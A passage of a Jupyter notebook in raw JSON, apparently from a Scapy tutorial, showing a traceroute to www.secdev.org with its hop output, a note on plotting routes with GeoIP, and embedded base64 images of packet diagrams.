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\\n\",\n      \"text/plain\": [\n       \"<pyx.canvas.canvas instance at 0x7f2c2e228bd8>\"\n      ]\n     },\n     \"execution_count\": 15,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"pkt.canvas_dump()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Scapy has a `traceroute()` function, which basically runs a `sr(IP(ttl=(1..30))` and creates a `TracerouteResult` object, which is a specific subclass of `SndRcvList()`.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 22,\n   \"metadata\": {\n    \"scrolled\": true\n   },\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"Begin emission:\\n\",\n      \"Finished to send 15 packets.\\n\",\n      \"\\n\",\n      \"Received 17 packets, got 15 answers, remaining 0 packets\\n\",\n      \"   217.25.178.5:tcp80 \\n\",\n      \"1  192.168.46.254  11 \\n\",\n      \"2  172.28.0.1      11 \\n\",\n      \"3  80.10.115.251   11 \\n\",\n      \"4  10.123.205.82   11 \\n\",\n      \"5  193.252.98.161  11 \\n\",\n      \"6  193.252.137.74  11 \\n\",\n      \"7  193.251.132.183 11 \\n\",\n      \"8  130.117.49.41   11 \\n\",\n      \"9  154.25.7.150    11 \\n\",\n      \"10 154.25.7.150    11 \\n\",\n      \"11 149.6.166.166   11 \\n\",\n      \"12 149.6.166.166   11 \\n\",\n      \"13 217.25.178.5    SA \\n\",\n      \"14 217.25.178.5    SA \\n\",\n      \"15 217.25.178.5    SA \\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"ans, unans = traceroute('www.secdev.org', maxttl=15)\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"The result can be plotted with `.world_trace()` (this requires GeoIP module and data, from [MaxMind](https://www.maxmind.com/))\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 23,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"image/png\": \"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\\n1F8ixsbGuHv3r